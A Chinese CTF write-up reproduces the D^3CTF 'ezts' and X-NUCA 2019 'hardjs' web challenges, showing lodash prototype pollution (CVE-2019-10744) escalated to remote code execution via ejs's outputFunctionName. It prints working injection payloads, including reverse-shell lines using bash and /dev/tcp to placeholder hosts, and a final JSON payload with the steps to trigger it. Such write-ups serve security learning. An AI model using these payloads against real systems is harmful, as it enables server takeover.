D^3CTF的赛后复现二

前言

D^CTF的赛题质量是非常高的,但是比较遗憾在比赛中没有做出了,因此赛后根据大佬们的博客来复现一下。

0x02 ezts
前置知识如下:
Express+lodash+ejs: 从原型链污染到RCE
参考链接如下:
https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/
RCE 的前提是要有原型链污染,原型链污染原理等具体不再赘述
通过下面的payload来验证当前loadsh库的版本是否有原型链污染。
1
2
3
4
5
6
7
8
9
const mergeFn=require('lodash').defaultsDeep;
const payload='{"constructor":{"prototype":{"a0":true}}}';
function check() {
mergeFn({},JSON.parse(payload));
if(({})[`a0`]===true){
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
先来个最简单的应用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const ejs = require('ejs');

const app = express();

app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());

app.set('views', './');
app.set('view engine', 'ejs');

app.get("/", (req, res) => {
res.render('index');
});

app.post("/", (req, res) => {
let data = {};
let input = JSON.parse(req.body.content);
lodash.defaultsDeep(data, input);
res.json({message: "OK"});
});

let server = app.listen(8086, '0.0.0.0', function() {
console.log('Listening on port %d', server.address().port);
});
断点打在res.render('index')这一行,Force Step into调试。

可以看到进入了express的response中,获取options,然后触发 app 渲染引擎进行渲染。

这里又是一系列参数和设置,可以跳过

这里是寻找 app 的渲染引擎。可以看到已经被配置为了 ejs,传递参数和模版文件,开始尝试渲染。

调用渲染引擎。到这里,我们已经调试到了 ejs 库中。

可以看到很复杂一坨,都是配置渲染设置,不管他,继续调试到 tryHandleCache。

一堆 Promise 的适配,再看这坨屎一样的 js 我要死了,继续调 handleCache。

是缓存设置,没啥用,终于调到了编译函数,开始渲染页面了。

又是设置,跳过,看到实例化一个模版类,然后调用模版的 compile 成员函数,继续跟进。

看到这里,立刻发现这里有一个代码注入的漏洞
仔细解释一下:
可以看到, opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 574 行时,if 判否,跳过
但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE
至于恶意代码构造就非常简单了。在不考虑后果的情况下,我们可以直接构造如下代码
1
a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //
放到代码里面看就是
1
2
3
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("whoami"); // 后面的代码都被注释了'
拿到shell的代码如下:
1
a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c "/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1"'); //
可想而知,在污染了原型链之后,渲染直接变成了执行代码,并提前 return,从而 getshell
注明:上面的过程是我根据,大佬的过程自己走过的,原文链接在上面提供了。
由于出题人还没有放出环境,那么以后再复现,由于与X-NUCA 2019 hardjs知识点差不多,因此选择复现hardjs
初步分析
题目直接给了源码,所以可以进行一下审计。打开源码目录,最显眼的就是server.jsrobot.py
先分析一下server.js。大概的源码已加注释。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
const fs = require('fs');
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const mysql = require('mysql');
const mysqlConfig = require("./config/mysql");
const ejs = require('ejs');

const pool = mysql.createPool(mysqlConfig);

// 使用express空架
const app = express();

// 可以使用qs扩展库来处理url编码和可以使用json格式的数据
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json());
// 设置静态文件目录
app.use('/static', express.static('static'));

app.use(session({
// 设置cookie中,保存session的字段的名称,默认为connect.sid
name: 'session',
// 通过设置的secret字符串,来计算hash值并放在cookie中,使产生的signedCookie防篡改。
secret: randomize('aA0', 16),
// 即使session没有被修改,也保存 session 值,默认为 true。
resave: false,
// 不会存储会话对象
saveUninitialized: false
}));

function setHeader(req,res,next){
res.set({
// 这个 header 对增加安全性并没有太大作用。
// 它的值为 off 时,将关闭浏览器对页面中 URL 的 DNS 预读取。
// DNS 预读取可以提高你的网站的性能,根据 MDN 描述,它可以增加 5% 或更高的图片加载速度。
// 不过开启这项功能也可能会使用户在多次访问同一个网页时缓存出现问题。
"X-DNS-Prefetch-Control":"off",
// X-Frame-Options 可以让你控制页面是否能在 <frame/>、<iframe/> 或者 <object/> 之类的页框内加载。
// 除非你的确需要通过这些方式来打开页面,否则请通过下面的配置完全禁用它:
"X-Frame-Options": "SAMEORIGIN",
// 这个 header 仅用于保护你的应用免受老版 IE 漏洞的困扰。
// 一般来说,如果你部署了不能被信任的 HTTP 文件用于下载,用户可以直接打开这些文件(而不需要先保存到硬盘去)并且可以直接在你 app 的上下文中执行。
// 这个 header 可以确保用户在访问这种文件前必须将其下载到本地,这样就能防止这些文件在你 app 的上下文中执行了。
"X-Download-Options": "noopen",
// 一些浏览器不使用服务器发送的 Content-Type 来判断文件类型,而使用“MIME 嗅探”,根据文件内容来判断内容类型并基于此执行文件。
// 假设你在网页中提供了一个上传图片的途径,但攻击者上传了一些内容为 HTML 代码的图片文件,如果浏览器使用 MIME 嗅探则会将其作为 HTML 代码执行,攻击者就能执行成功的 XSS 攻击了。
// 通过设置 header 为 nosniff 可以禁用这种 MIME 嗅探。
"X-Content-Type-Options": "nosniff"
});
// next函数主要负责将控制权交给下一个中间件,
// 如果当前中间件没有终结请求,并且next没有被调用,
// 那么请求将被挂起,后边定义的中间件将得不到被执行的机会
next();
}

app.use(setHeader);

app.set('json escape',true);
// 设置模板解析为文件夹
app.set('views', './views');
// 设置解析文件的模板引擎
app.set('view engine', 'ejs');

/**
* 发现利用点
* 在我们没有登陆以前,
* req.seesion.login和req.session.userid是undefined的,
* 而session对象的父类肯定包含了Object,
* 所以我们只要修改Object中的这部分代码就可以绕过登陆,
* 以admin身份访问网页。
*/
function auth(req,res,next){
// var session = req.session;
if(!req.session.login || !req.session.userid ){
res.redirect(302,"/login");
} else{
next();
}
}

/**
* 执行sql语句的函数
* @param sql
* @param values
* @returns {Promise<unknown>}
*/
let query = function( sql, values ) {
return new Promise(( resolve, reject ) => {
pool.getConnection(function(err, connection) {
if (err) {
reject( err )
} else {
connection.query(sql, values, ( err, rows) => {

if ( err ) {
reject( err )
} else {
resolve( rows )
}
connection.release()
})
}
})
})
};


app.get("/",auth,function(req,res,next){
res.render('index');
});

app.get("/sandbox",auth,function(req,res,next){
res.render("sandbox");
});

app.all('/login',async function(req,res,next){

if( req.method === 'POST' ){
// 获取username和password
if(req.body.username && req.body.password){

var username = req.body.username;
var password = req.body.password;

// 根据用户名和密码查询用户id
var sql = "select id from `user` where username=? and password=?";

let dataList = await query( sql,[username,password]);

if(dataList.length === 0){
res.send("<script> alert('用户名或密码错误.'); location.replace('/login'); </script>");
return ;
}
console.log(dataList);
// 将相应的参数设置到
req.session.userid = dataList[0].id ;
req.session.login = true ;
// 跳转到首页
res.redirect(302,"/");
return ;

}
}

// 如果没有登陆成功就渲染login_register
res.render('login_register',{
title:" storeHtml | logins ",
buttonHintF:"登 录",
buttonHintS:"没有账号?",
hint:"登录",
next:"/register"
});
});



app.all('/register',async function(req,res,next){

console.log(req.body);

if( req.method === 'POST' ){

if(req.body.username && req.body.password){

var username = req.body.username;
var password = req.body.password;

var sql = "select id from `user` where username=?";

let dataList = await query( sql,[username]);

if(dataList.length>0){
res.send("<script>alert('用户名重复'); location.replace('/register');</script>");
return ;
}

var sql = "insert into `user` (`username`,`password`) values (?,?) ";

let result = await query( sql,[username,password]);
console.log(result);

if(result.affectedRows>0){
res.send("<script>alert('注册成功');location.replace('/login');</script>")
return;
}else{
res.send("<script>alert('注册失败');</script>");
return;
}
}
}

res.render('login_register',{
title:" storeHtml | register ",
buttonHintF:"注 册",
buttonHintS:"已有账号?",
hint:"注册",
next:"/login"
});
});

app.get("/get",auth,async function(req,res,next){

var userid = req.session.userid ;
// 计算html表中的字段的数量
var sql = "select count(*) count from `html` where userid= ?";
// var sql = "select `dom` from `html` where userid=? ";
var dataList = await query(sql,[userid]);

if(dataList[0].count == 0 ){
res.json({})

}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql

console.log("Merge the recorder in the database.");

var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();

for(var i=0;i<raws.length ;i++){
// 如果查询出来的结果大于5条,就合并成一条。
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

// 并且删除已经合并的数据
var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
// 将合并后的数据插入数据库中
var result = await query(sql,[userid, JSON.stringify(doms) ]);

if(result.affectedRows > 0){
ret.push(doms);
res.json(ret);
}else{
res.json([{}]);
}

}else {

console.log("Return recorder is less than 5,so return it without merge.");
var sql = "select `dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var ret = new Array();

for( var i =0 ;i< raws.length ; i++){
ret.push(JSON.parse( raws[i].dom ));
}

console.log(ret);
res.json(ret);
}

});

app.post("/add",auth,async function(req,res,next){

if(req.body.type && req.body.content){

var newContent = {}
var userid = req.session.userid;

newContent[req.body.type] = [ req.body.content ]

console.log("newContent:",newContent);

var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
// 向数据库中添加数据
var result = await query(sql,[userid, JSON.stringify(newContent) ]);

if(result.affectedRows > 0){
res.json(newContent);
}else{
res.json({});
}


// var userid = req.session.userid ;
// var sql = "select dom from `html` where userid=? " ;
// var dataList = await query(sql,[userid]);

// var dom = {}
// if (dataList.length != 0){
// console.log("Old Dom: ",dataList[0].dom)
// dom = JSON.parse(dataList[0].dom);
// }

// lodash.defaultsDeep(dom,newContent);
// console.log("New Dom: ",dom);

// if(dataList.length == 0){
// var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
// var result = await query(sql,[userid, JSON.stringify(dom) ]);
// }else{
// sql = "update `html` set `dom` = ? where `userid` = ?";
// console.log(JSON.stringify(dom));
// var result = await query(sql,[ JSON.stringify(dom),userid]);
// }

// if(result.affectedRows > 0){
// res.json(newContent);
// }else{
// res.json({});
// }

}

});


var server = app.listen(80, function() {
console.log('Listening on port %d', server.address().port);
});
可以发现这个服务器是nodejs来搭建的,并且用了express这个框架,模板渲染引擎用了ejs:
1
2
3
4
5
6
7
8
9
const fs = require('fs');
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const mysql = require('mysql');
const mysqlConfig = require("./config/mysql");
const ejs = require('ejs');
审计一下代码可以看到有以下的路由:
  • /首页
  • /static静态文件
  • /sandbox显示用户HTML数据用的沙盒
  • /login登陆
  • /register注册
  • /getjson接口获取数据库中保存的数据
  • /add用户添加数据的接口
除了/static/login/register以外,所以路由在访问的时候都会经过一个auth函数进行身份验证
因为做了转义处理,所以应该是没有Sql注入的问题,需要从其他方面下手。
另外在初始化的时候有这么一句
1
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
所以我们可以通过json格式传递参数到服务端
发现问题
/get中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起,关键代码如下
1
2
3
4
5
6
7
8
9
10
11
var sql = "select `id`,`dom` from  `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();

for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
其中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));恰好是前段时间公布的CVE-2019-10744的攻击对象,再看一下版本刚好是4.17.11,并没有修复这个漏洞。所以我们可以利用这个漏洞进行原型链污染。
原型链污染
参考下面的链接。
发现利用点
server.js中,有一处很符合我们要寻找的利用点,即auth函数中判断用户的部分在server.js中,有一处很符合我们要寻找的利用点,即auth函数中判断用户的部分
1
2
3
4
5
6
7
8
function auth(req,res,next){
// var session = req.session;
if(!req.session.login || !req.session.userid ){
res.redirect(302,"/login");
} else{
next();
}
}
在我们没有登陆以前,req.seesion.loginreq.session.userid是undefined的,而session对象的父类肯定包含了Object,所以我们只要修改Object中的这部分代码就可以绕过登陆,以admin身份访问网页。
尝试XSS攻击
知道了上述的利用点以后,回去审计robot.py可以发现,flag值是存在环境变量中的,并且是admin的密码,robot会打开本地页面的首页/(原先是会自动跳转到/login,当然我们现在可以bypass掉这个跳转),然后robot会根据form的name填写用户名和密码,并点击submit按钮。
因为首页会自动加载我们保存的html数据,所以这个时候我的思路是可以构造一个form,但是提交地址是自己的服务器,这样就可以接受到来自bot的flag了。
再加上robot.py中的以下细节,我认为从前端下手应该是出题人预留的预期解之一。
1
2
3
chrome_options.add_argument('--disable-xss-auditor')
...
print(client.current_url)
所以审计前端的app.js
发现所有我们保存在数据库的数据是动态加载到一个有sanbox标签的iframe中,这就导致即使我们可以写一个表单,也无法被提交,我们的数据中的js是不会被执行的。
不过恰巧的是app.js使用的Jquery前段时间也有一个原型链污染漏洞被曝出,而且在页面中也使用到了
1
2
3
for(var i=0 ;i<datas.length; i++){
$.extend(true,allNode,datas[i])
}
具体的CVE号是CVE-2019-11358,利用方法类似上文的漏洞。
官方的payload参考如下:
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
挖掘后端攻击方法
请看前文的介绍。
成功攻击
可以发现process是可以访问到的,所以我们可以用来反弹shell
最后的payload如下
1
2
3
4
5
6
7
8
9
10
{
"content": {
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xx 0>&1\"');var __tmp2"
}
}
},
"type": "test"
}
发送5次请求,然后访问/get进行原型链污染,最后访问//login触发render函数,成功反弹shell并getflag
总结:
通过在这次复现中又学到了很多的东西,感谢各位师傅了。
参考链接
https://cnodejs.org/topic/55f8d70a20d84f3d377582a3
https://juejin.im/post/5a24fd8f51882509e5438247
https://www.jianshu.com/p/9c952600a741
https://cnodejs.org/topic/5757e80a8316c7cb1ad35bab
https://xz.aliyun.com/t/6113#toc-5
https://xz.aliyun.com/t/6101#toc-1